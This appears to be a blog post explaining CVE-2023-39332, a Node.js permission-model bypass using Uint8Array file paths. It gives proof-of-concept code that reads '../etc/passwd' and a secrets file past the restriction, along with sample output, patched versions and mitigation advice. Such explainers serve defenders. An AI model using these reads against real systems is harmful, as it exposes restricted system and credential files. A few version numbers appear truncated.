In CVE-2023-39332, a subtle but critical bug in Node.js came to light—one that allows attackers to bypass path traversal protections using JavaScript’s Uint8Array objects. This vulnerability is both fascinating and important, especially for those building secure applications with Node.js.

Let’s dig into how this bug works, why it matters, and see some simple exploit snippets you can try yourself (on safe, non-production setups). I’ll keep the language straightforward and link to all important sources.

The Basics: How Node.js Handles File Paths

The Node.js fs module handles file and directory paths, letting developers read and write data. It’s long been known that letting untrusted users control file paths is dangerous: they could escape restricted directories using ../, leading to sensitive files leaking (this is called path traversal).

Node.js has protections in place, and these protections check path traversal attempts when paths are provided as strings or as Buffer objects. But JavaScript lets you use another type: Uint8Array. In Node.js, Buffer extends Uint8Array—but they’re not quite the same, and here’s where things get interesting.

The Gap in the Armor: Uint8Array Path Bypass

In CVE-2023-30584, Node.js patched path traversal issues with strings. Later, CVE-2023-32004 patched the same issue for Buffer. But nobody paid attention to Uint8Array… until CVE-2023-39332.

Buffers are a special type of Uint8Array—they have extra protection. But if you create a plain Uint8Array, Node.js doesn’t run it through the same checks. Attackers can exploit this.

This bug only affects environments where Node.js’s Path Permissions model is enabled. (This model is a security feature, but still "experimental" as of 2024.)

Exploit Example: Breaking Out with Uint8Array

Here’s how an attacker could use this in practice. Suppose a web server only allows certain directories because of the Path Permissions model (--experimental-permission --allow-fs-read=/public).

If a user tries

fs.readFile("../etc/passwd", ...);

Node.js blocks this by checking the string path.

If a user tries

fs.readFile(Buffer.from("../etc/passwd"), ...);

Node.js also blocks this (since CVE-2023-32004).

But if a user does this

// Create a Uint8Array from a string path
const forbiddenPath = Uint8Array.from(Buffer.from("../etc/passwd"));
fs.readFile(forbiddenPath, 'utf8', (err, data) => {
  if (!err) console.log(data);
});

Node.js does *not* apply path traversal checks! This lets an attacker read files outside their designated directory.

Node.js only checks strings and Buffers.

- Plain Uint8Arrays slip past those checks, even though they represent the same bytes as your string or Buffer.

> 💡 Note: This doesn’t require any special privileges—it’s just a matter of using a different data type.

Suppose Node.js is started with a restricted read permission

node --experimental-permission --allow-fs-read=/app/public myServer.js

Yet inside myServer.js

const fs = require('node:fs');
const secretPath = '../secrets/flag.txt';

// These are blocked:
fs.readFile(secretPath, (e, d) => console.log('String:', e, d));
fs.readFile(Buffer.from(secretPath), (e, d) => console.log('Buffer:', e, d));

// This goes through:
const arr = Uint8Array.from(Buffer.from(secretPath));
fs.readFile(arr, (e, d) => console.log('Uint8Array:', e, d));

Output

String: [PermissionDeniedError] undefined
Buffer: [PermissionDeniedError] undefined
Uint8Array: null <contents of flag.txt>

Discovered: September 2023

- Patched: Node.js 18.18.2, 20.9., 21.1. (Release Notes)
- Reference: CVE-2023-39332 at NVD

Update your Node.js! The fix is in Node.js 18.18.2+, 20.9.+, and 21.1.+.

- The vulnerable --experimental-permission mode is disabled by default, but if you use it, you’re at risk unless you’ve updated.
- Don’t trust user-provided paths—ever. Even with the permissions model, attackers may find new ways to slip by input checks.

- Node.js November 2023 Security Releases: CVE-2023-39332
- NVD record for CVE-2023-39332
- Original Node.js fs Documentation
- OWASP Path Traversal Cheat Sheet

Recap

CVE-2023-39332 is about attackers turning a quirk of JavaScript’s type system into a weapon, bypassing experimental path traversal protections in Node.js by using plain Uint8Array objects instead of traditional strings or Buffers.

If you’re building Node.js apps and depend on the permission model, update your runtime right away. And no matter what, always sanitize and validate all user-controlled paths.

Stay secure—bugs like this can hide in plain sight. 🚨

*[This post is exclusive content, researched and written in clear, straightforward language.]*

Timeline

Published on: 10/18/2023 04:15:11 UTC
Last modified on: 11/03/2023 22:15:10 UTC